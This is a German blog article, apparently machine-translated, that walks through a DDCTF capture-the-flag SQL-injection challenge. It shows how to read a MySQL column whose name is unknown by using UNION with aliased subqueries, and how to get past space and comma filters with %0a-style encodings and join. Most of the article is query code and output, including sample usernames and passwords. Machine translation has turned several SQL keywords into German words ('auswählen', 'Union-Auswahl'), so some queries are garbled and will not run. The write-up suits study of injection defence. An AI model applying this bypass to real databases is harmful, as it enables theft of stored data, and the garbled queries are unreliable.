So umgehen Sie unbekannte Feldnamen in MySQL

So umgehen Sie unbekannte Feldnamen in MySQL

Vorwort

Dieser Artikel stellt die fünfte Frage von DDCTF vor, die Technik zum Umgehen unbekannter Feldnamen. Hier verwende ich die lokale Maschine, um sie zu betreiben. Die Idee ist großartig und klar. Teilen Sie sie mit allen. Schauen wir uns die ausführliche Einführung an:

Umsetzungsideen

Die Frage filtert Leerzeichen und Kommas. Leerzeichen können mit %0a, %0b, %0c, %0d, %a0 oder Klammern direkt umgangen werden. Kommas können mit „join“ umgangen werden.

Der Feldname, in dem das Flag gespeichert ist, ist unbekannt und information_schema.columns filtert auch den Hex-Wert des Tabellennamens heraus, d. h. der Feldname kann nicht abgerufen werden. In diesem Fall kann eine gemeinsame Abfrage verwendet werden. Der Vorgang ist wie folgt:

Die Idee besteht darin, die Flagge zu erhalten und sie unter einem bekannten Feldnamen erscheinen zu lassen.

Beispielcode:

mysql> auswählen (1 auswählen)a,(2 auswählen)b,(3 auswählen)c,(4 auswählen)d;
+---+---+---+---+
| ein | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 Zeile im Satz (0,00 Sek.)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+----------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | Administrator | admin888 | [email protected] |
| 2 | Test | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+----------+----------+-------------+
4 Zeilen im Satz (0,01 Sek.)
 
mysql> wähle e.4 aus (wähle * aus (wähle 1)a,(wähle 2)b,(wähle 3)c,(wähle 4)d Union wähle * aus Benutzer)e;
+-------------+
| 4 |
+-------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
4 Reihen im Satz (0,03 Sek.)
 
mysql> wähle e.4 aus (Auswahl * aus (Auswahl 1)a,(Auswahl 2)b,(Auswahl 3)c,(Auswahl 4)d Union-Auswahl * aus Benutzer)e Limit 1 Offset 3;
 
+-------------+
| 4 |
+-------------+
| [email protected] |
+-------------+
1 Zeile im Satz (0,01 Sek.)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
Union-Auswahl * vom Benutzer)e Limit 1 Offset 3)f, (Auswahl 1)g, (Auswahl 1)h, (Auswahl 1)i;
+-------------+----------+----------+-------------+
| ID | Benutzername | Passwort | E-Mail |
+-------------+----------+----------+-------------+
| 1 | Administrator | admin888 | [email protected] |
| [email protected] | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 Reihen im Satz (0,04 Sek.)

Zusammenfassen

Das Obige ist der vollständige Inhalt dieses Artikels. Ich hoffe, dass der Inhalt dieses Artikels Ihnen bei Ihrem Studium oder Ihrer Arbeit helfen kann. Wenn Sie Fragen haben, können Sie eine Nachricht hinterlassen. Vielen Dank für Ihre Unterstützung von 123WORDPRESS.COM.

Das könnte Sie auch interessieren:
  • Verhindern Sie XSS- und SQL-Injection: JS-Sonderzeichenfilterung regelmäßig
  • Eine SQL-Anweisung zum Filtern doppelter Daten
  • Zusammenfassung der MySQL-Injection-Bypass-Filtertechniken
  • SQL-Injection umgeht die Einschränkung auf einfache Anführungszeichen und setzt die Injektion fort
  • Zusammenfassung der SQL-Injection-Bypass-Techniken
  • Verwenden mehrspaltiger zusammengesetzter Indizes zum Umgehen eines Fehlers in Microsoft SQL Server
  • Einige wichtige Punkte zur Umgehung von SQL-Injection
  • Methode zum Wiederherstellen versehentlich gelöschter Heap-Tabellendatensätze im einfachen SQL Server-Modus (unter Umgehung der Header-Überprüfung)
  • SQL-Injection-Techniken: Detaillierte Analyse der Umgehung der Kommafilterung bei expliziten und blinden Injections

<<:  Tomcat erhält den Clientdomänennamen des Nginx-Reverse-Proxys

>>:  js implementiert eine einfache Methode zur Kapselung von jQuery und eine detaillierte Erklärung der Kettenoperationen

Artikel empfehlen

Detaillierte Erläuterung der MySQL sql_mode-Abfrage und -Einstellung

1. Führen Sie SQL aus, um anzuzeigen wählen Sie @...

Der Prozess der Installation von Docker im Linux-System

In diesem Blog führe ich Sie in einfachen Schritt...

Detaillierte Erklärung zum Upgrade von Softwarepaketversionen unter Linux

Im Linux-Umfeld möchten Sie prüfen, ob eine besti...

Befehl zum Anzeigen der Erstellungszeit der Binlog-Datei unter Linux

Inhaltsverzeichnis Hintergrund analysieren Verfah...

Richtige Schritte zur Installation von Nginx unter Linux

Vorwort Wenn Sie wie ich ein fleißiger Java-Backe...

Tutorial zu HTML-Tabellen-Tags (34): Zeilenspannen-Attribut ROWSPAN

In einer komplexen Tabellenstruktur erstrecken si...